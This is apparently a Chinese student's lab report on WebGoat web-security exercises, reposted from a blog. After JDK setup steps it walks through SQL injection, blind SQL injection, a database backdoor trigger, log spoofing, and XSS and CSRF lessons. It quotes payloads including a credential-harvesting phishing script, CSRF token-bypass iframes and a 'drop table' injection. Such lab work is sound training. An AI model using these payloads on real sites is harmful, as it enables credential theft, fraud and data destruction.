20154327 Exp9 Web安全基础

很乱 还没排版,明天排

1.环境配置

  • 去官网提供的GitHub上下载,那个速度是真的捉急,这里感谢下齐帅同学提供的百度云
    WebGoat

  • 顺便附上自己在网上找到的
    WebGoat中文手册以及WebGoat用户指南

  • 下载好后,使用命令:java -jar webgoat-server-8.0.0.M14.jar运行WebGoat

  • 然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:

  • 这里我的一开始一直显示 Firefox can’t establish a connection to the server at localhost:8080.

  • 一开始以为是8080端口被占用了,利用netstat -tupln |grep 8080发现没有被占用,然后去从新看了下安装教程,怀疑是JDK的问题,
    这里贴上一个自己安装JDK的教程,安装完后成功打开。

  • 首先,去官方网站下载JDK1.8对应的版本
    JDK

  • 将下载好的JDK包提取出来,解压出来文件夹名为 jdk1.8.0_172
    开始拷贝目录 手动安装 (注意文件夹名根据自己的实际情况来设定)

     sudo mkdir -p /usr/local/java
    cp -r jdk1.8.0_172/ /usr/local/java/
  • 如图
  • 接下来配置JDK的环境变量

sudo gedit /etc/profile
  • 复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)
JAVA_HOME=/usr/local/java/jdk1.8.0_172
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
  • 如图:

  • 告诉系统JDK的位置,最后2行代码不是重复,是要执行2次 。 (注意文件夹名根据自己的实际情况来设定)

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_172/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_172/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1

  • 如图:

  • 设置新的JDK为默认,代码也是执行2次(注意文件夹名根据自己的实际情况来设定)

sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws

  • 如图:

  • 重载Profile文件

source /etc/profile
  • 输入命令查看Java版本号
java -version
  • 好了,至此,安装成功 !

  • 尝试访问WebGoat,成功!

  • 等开始做才做才发现,这是个大坑,由于WebGoat不同的版本课程都不一样,我在官网上下的是最新的8.0.0,网上找到的教程都是低版本的,高版本和低版本的操作完全不一样,只能参考着低版本再开着翻译做。

  • 这里我附上7.1和8的实践过程

Webgoat 7.1

Injection Flaws

  • Numeric SQL Injection(数字SQL注入)

  • 原理大概就是这里有一个SQL语句

SELECT * FROM weather_data WHERE station = [station]
  • 可以拦截报文将station字段后补充成一个永真式101 OR 1=1,这里右键审查元素,改代码即可。

  • 于是整个语句就变成了

SELECT * FROM weather_data WHERE station = 101 OR 1=1
  • 由于1=1恒成立,点击go,看到所有城市的天气,成功。

Log Spoofing

日志伪造,意思是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入

zh%0d%0aLogin Succeeded for username: admin
  • 其中%0d和%0a为CRLF换行符,看到的输出为

第二行就是我们刚刚伪造出来的

XPATH Injection

  • 题干的意思大概是你的账号是Mike/test123。你的目标是尝试查看其他员工的数据。
  • 和上面一样,尝试构造永真式
yzh' or 1=1 or 'a'='a
  • 成功:

String SQL Injection

  • 字符注入
  • 这里和前面数字注入的方法差不多,构造一个永真式,还是用的之前的'or 1='1
yzh' OR '1'='1
SELECT * FROM user_data WHERE last_name = 'yzh' OR '1'='1'

LAB: SQL Injection

阶段1:String SQL Injection

  • 使用字符串SQL注入绕过认证,让我们可以登陆Boss(“Neville”)的账号。
  • 类似之前利用永真式想办法绕过验证,修改password=' or'1'='1,结果登陆失败,审查元素将maxlength改为50继续,成功~

阶段2:Parameterized Query #1

  • 这里需要WEBGOAT的开发者版本,先跳过了。

阶段3:Numeric SQL Injection

  • 绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。
  • 还是和之前的想法一样,我们只需将employee_id参数修改为:101 or 1=1 order by salary desc

Database Backdoors

  • 在User ID输入框输入:101;update employee set salary = 65000 where userid=101; ,点击提交,如下图所示:

  • 使用SQL注入注入一个后门。101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE userid = NEW.userid.

  • 点击提交,如下图所示:

Blind Numeric SQL Injection

  • 使用盲注进行爆破,在“Enter your Account Number”输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );,根据返回的提示来判断“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000”为真或为假,逐步缩小范围,最后尝试用2364进行请求,返回成功,然后把2364输入表单,提交,如下图所示:

Blind String SQL Injection

  • 使用盲注进行爆破,在“Enter your Account Number”输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );,根据返回的提示来判断name的范围,直至返回成功(OWASP ZAP 在里如何使用爆破注入,目前还不清楚),然后把Jill输入表单,提交,如下图所示:

Cross-Site Scripting (XSS)

Phishing with XSS

  • 使用XSS和HTML插入制作一个钓鱼网站,代码如下:
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 成功:

LAB:Cross Site Scripting

  • 使用Tom登录,编辑用户信息,在Street字段输入以下代码:
<script>alert("20154327");</script>
  • 成功:

  • 阶段2、4、6需要开发者版本先调过了。

阶段3:执行一个先前的存储XSS攻击

  • 使用“David”登录,然后查看“Bruce”的信息,即可完成。

阶段5:执行一个反射XSS攻击

  • 在搜索员工页面使用脆弱性手工制造一个包含反射XSS攻击的URL。验证使用此链接的另一个用户被此攻击影响。
  • 以“Larry”登录,在“Search Staff”搜索框输入“”。

Stored XSS Attacks

  • 在Title里输入“Test Stored XSS”,在 Message里输入
<script>alert("20154327yangzhenghui!");</script>
  • 如下图所示:

Reflected XSS Attacks

  • 当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。

Cross Site Request Forgery(CSRF)

  • 实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

  • 这里是一个储存型XSS和跨站请求伪造结合的示例,CSRF就是冒名登录,用代码伪造请求

  • 在Title输入:20154327,在Message输入:

<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
  • 点击“Submit”,在Message List下出现一条提交的记录,如下图所示:

CSRF Prompt By-Pass

  • 在Title输入:20154327;在Message输入:
<iframe
    src="attack?Screen=280&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>
  • 如下图所示:

CSRF Token By-Pass

  • 在Title输入:20154327
  • 在Message输入构造的代码:
<script>
    var tokensuffix;
     
    function readFrame1()
    {
        var frameDoc = document.getElementById("frame1").contentDocument;
        var form = frameDoc.getElementsByTagName("form")[0];
        tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
     
        loadFrame2();
    }
     
    function loadFrame2()
    {
        var testFrame = document.getElementById("frame2");
        testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
    }
</script>
 
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
 
<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
  • 点击Submit,然后在Message List里点击“CSRF Token By-Pass Attack”,如下图所示:

跨站脚本攻击(Cross‐Site Scripting (XSS))

userName = Smith' or '1'='1

userName =' or 1=1 --

SQL拼接出来的结果是

"select * from users where name = 'Erwin' OR '1'='1';

由于1=1恒成立,所以会遍历出所有的数据库表单

Attacker supplies unexpected text

userName = Smith' or '1'='1

userName =' or 1=1 --

userID = 1234567 or 1=1

UserName = Smith’;drop table users; truncate audit_log;--

Application executes query

select * from users where name = 'Smith' or '1' = '1'

    select * from users where name = 'Smith' or TRUE

select * from users where employee_id = 1234567 or 1=1

SQL Injection (advanced)

特殊字符

  • Execute a query to union or join these (tables.执行联合查询或联接这些表)
  • When you have figured it out… What is Dave’s password?(得到Dave的密码)

Cross Site Scripting(XSS)

猜你喜欢

转载自www.cnblogs.com/lovezh/p/9064309.html